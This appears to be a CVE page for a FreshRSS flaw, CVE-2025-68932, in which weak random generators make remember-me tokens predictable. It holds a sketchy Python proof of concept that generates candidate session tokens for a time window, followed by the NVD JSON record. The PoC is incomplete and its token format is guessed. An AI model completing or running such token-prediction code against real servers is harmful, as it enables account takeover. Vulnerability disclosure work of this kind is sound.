CVE-2025-68932

#!/usr/bin/env python3 """ CVE-2025-68932: FreshRSS Weak Random Number Generation PoC Predicts remember-me tokens generated by mt_rand() and uniqid() Note: This is a conceptual PoC for educational purposes only. """ import time import hashlib def predict_uniqid(prefix='', more_entropy=False): """ Predict uniqid() output based on current timestamp In real attack, attacker would need to narrow down the time window """ t = time.time() uni_id = prefix + hex(int(t))[2:] if more_entropy: uni_id += '.' + hex(int((t % 1) * 100000))[2:] return uni_id def predict_mt_rand_seed(known_outputs): """ Brute force seed prediction from known mt_rand() outputs mt_rand() uses 32-bit seed, brute forceable in reasonable time """ # In real attack, collect multiple remember-me tokens # and use PHP mt_srand() seed recovery techniques pass def generate_fake_token(predicted_random): """ Generate fake remember-me token FreshRSS token format: hash of random values """ return hashlib.sha256(predicted_random.encode()).hexdigest() def attack(target_user_id, time_window_start, time_window_end): """ Main attack function 1. Identify target user 2. Generate candidate tokens for time window 3. Try each token against FreshRSS endpoint """ tokens = [] for t in range(int(time_window_start), int(time_window_end)): predicted_rand = predict_uniqid(prefix=str(t)) token = generate_fake_token(predicted_rand) tokens.append(token) # In real attack, send requests to FreshRSS with each token # Cookie format: remember_me_token={token} return tokens # Example usage if __name__ == "__main__": print("FreshRSS Remember-Me Token Predictor") print("Target: FreshRSS < 1.28.0") print("Vulnerability: mt_rand() and uniqid() weak randomness") print("\n[*] Start token prediction attack...")

{"cve": {"id": "CVE-2025-68932", "sourceIdentifier": "[email protected]", "published": "2025-12-27T00:15:42.633", "lastModified": "2025-12-31T21:12:56.473", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreshRSS is a free, self-hostable RSS aggregator. Prior to version 1.28.0, FreshRSS uses cryptographically weak random number generators (mt_rand() and uniqid()) to generate remember-me authentication tokens and challenge-response nonces. This allows attackers to predict valid session tokens, leading to account takeover through persistent session hijacking. The remember-me tokens provide permanent authentication and are the sole credential for \"keep me logged in\" functionality. This issue has been patched in version 1.28.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.9, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-338"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freshrss:freshrss:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.28.0", "matchCriteriaId": "D306446F-7568-4C35-BA5C-A344AA576F73"}]}]}], "references": [{"url": "https://github.com/FreshRSS/FreshRSS/commit/57e1a375cbd2db9741ff19167813344f8eff5772", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/FreshRSS/FreshRSS/pull/8061", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/FreshRSS/FreshRSS/security/advisories/GHSA-j9wc-gwc6-p786", "source": "[email protected]", "tags": ["Exploit", "Patch", "Vendor Advisory"]}, {"url": "https://github.com/FreshRSS/FreshRSS/security/advisories/GHSA-j9wc-gwc6-p786", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Patch", "Vendor Advisory"]}]}}